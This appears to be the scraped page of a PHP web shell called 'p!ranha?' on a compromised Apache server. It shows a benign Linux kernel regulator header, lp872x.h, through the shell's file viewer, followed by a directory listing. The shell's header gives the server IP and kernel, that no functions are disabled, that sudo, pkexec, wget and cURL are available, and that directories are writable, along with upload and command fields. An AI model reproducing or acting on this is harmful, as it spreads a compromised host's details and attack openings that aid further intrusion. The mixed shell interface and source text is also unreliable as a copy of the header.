p!ranha?
Server IP : 103.169.32.36  /  Your IP : 216.73.217.13
Web Server : Apache
System : Linux web.dpmptsp 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/modules/3.10.0-1160.105.1.el7.x86_64/source/include/linux/regulator/

Upload File :
Curr3nt_D!r [ Writeable ] D0cum3nt_r0Ot [ Writeable ]

 
Command :
Current File : /usr/lib/modules/3.10.0-1160.105.1.el7.x86_64/source/include/linux/regulator/lp872x.h
/*
 * Copyright 2012 Texas Instruments
 *
 * Author: Milo(Woogyom) Kim <milo.kim@ti.com>
 *
 * This program is free software; you can redistribute it and/or modify
 * it under the terms of the GNU General Public License version 2 as
 * published by the Free Software Foundation.
 *
 */

#ifndef __LP872X_REGULATOR_H__
#define __LP872X_REGULATOR_H__

#include <linux/regulator/machine.h>
#include <linux/platform_device.h>
#include <linux/gpio.h>

#define LP872X_MAX_REGULATORS		9

enum lp872x_regulator_id {
	LP8720_ID_BASE,
	LP8720_ID_LDO1 = LP8720_ID_BASE,
	LP8720_ID_LDO2,
	LP8720_ID_LDO3,
	LP8720_ID_LDO4,
	LP8720_ID_LDO5,
	LP8720_ID_BUCK,

	LP8725_ID_BASE,
	LP8725_ID_LDO1 = LP8725_ID_BASE,
	LP8725_ID_LDO2,
	LP8725_ID_LDO3,
	LP8725_ID_LDO4,
	LP8725_ID_LDO5,
	LP8725_ID_LILO1,
	LP8725_ID_LILO2,
	LP8725_ID_BUCK1,
	LP8725_ID_BUCK2,

	LP872X_ID_MAX,
};

enum lp872x_dvs_state {
	DVS_LOW  = GPIOF_OUT_INIT_LOW,
	DVS_HIGH = GPIOF_OUT_INIT_HIGH,
};

enum lp872x_dvs_sel {
	SEL_V1,
	SEL_V2,
};

/**
 * lp872x_dvs
 * @gpio       : gpio pin number for dvs control
 * @vsel       : dvs selector for buck v1 or buck v2 register
 * @init_state : initial dvs pin state
 */
struct lp872x_dvs {
	int gpio;
	enum lp872x_dvs_sel vsel;
	enum lp872x_dvs_state init_state;
};

/**
 * lp872x_regdata
 * @id        : regulator id
 * @init_data : init data for each regulator
 */
struct lp872x_regulator_data {
	enum lp872x_regulator_id id;
	struct regulator_init_data *init_data;
};

/**
 * lp872x_platform_data
 * @general_config    : the value of LP872X_GENERAL_CFG register
 * @update_config     : if LP872X_GENERAL_CFG register is updated, set true
 * @regulator_data    : platform regulator id and init data
 * @dvs               : dvs data for buck voltage control
 */
struct lp872x_platform_data {
	u8 general_config;
	bool update_config;
	struct lp872x_regulator_data regulator_data[LP872X_MAX_REGULATORS];
	struct lp872x_dvs *dvs;
};

#endif
N4m3
5!z3
L45t M0d!f!3d
0wn3r / Gr0up
P3Rm!55!0n5
0pt!0n5
..
--
January 19 2024 08:12:51
0 / 0
0755
ab8500.h
7.598 KB
November 06 2023 09:15:52
0 / 0
0644
consumer.h
17.309 KB
November 06 2023 09:15:52
0 / 0
0644
db8500-prcmu.h
1.139 KB
November 06 2023 09:15:52
0 / 0
0644
driver.h
12.628 KB
November 06 2023 09:15:52
0 / 0
0644
fan53555.h
1.324 KB
November 06 2023 09:15:52
0 / 0
0644
fixed.h
2.41 KB
November 06 2023 09:15:52
0 / 0
0644
gpio-regulator.h
2.401 KB
November 06 2023 09:15:52
0 / 0
0644
lp3971.h
1.382 KB
November 06 2023 09:15:52
0 / 0
0644
lp3972.h
1.282 KB
November 06 2023 09:15:52
0 / 0
0644
lp872x.h
1.89 KB
November 06 2023 09:15:52
0 / 0
0644
machine.h
6.588 KB
November 06 2023 09:15:52
0 / 0
0644
max1586.h
2.132 KB
November 06 2023 09:15:52
0 / 0
0644
max8649.h
0.953 KB
November 06 2023 09:15:52
0 / 0
0644
max8660.h
1.547 KB
November 06 2023 09:15:52
0 / 0
0644
max8952.h
2.938 KB
November 06 2023 09:15:52
0 / 0
0644
max8973-regulator.h
2.738 KB
November 06 2023 09:15:52
0 / 0
0644
of_regulator.h
0.912 KB
November 06 2023 09:15:52
0 / 0
0644
tps51632-regulator.h
1.615 KB
November 06 2023 09:15:52
0 / 0
0644
tps62360.h
1.854 KB
November 06 2023 09:15:52
0 / 0
0644
tps6507x.h
1.091 KB
November 06 2023 09:15:52
0 / 0
0644
userspace-consumer.h
0.621 KB
November 06 2023 09:15:52
0 / 0
0644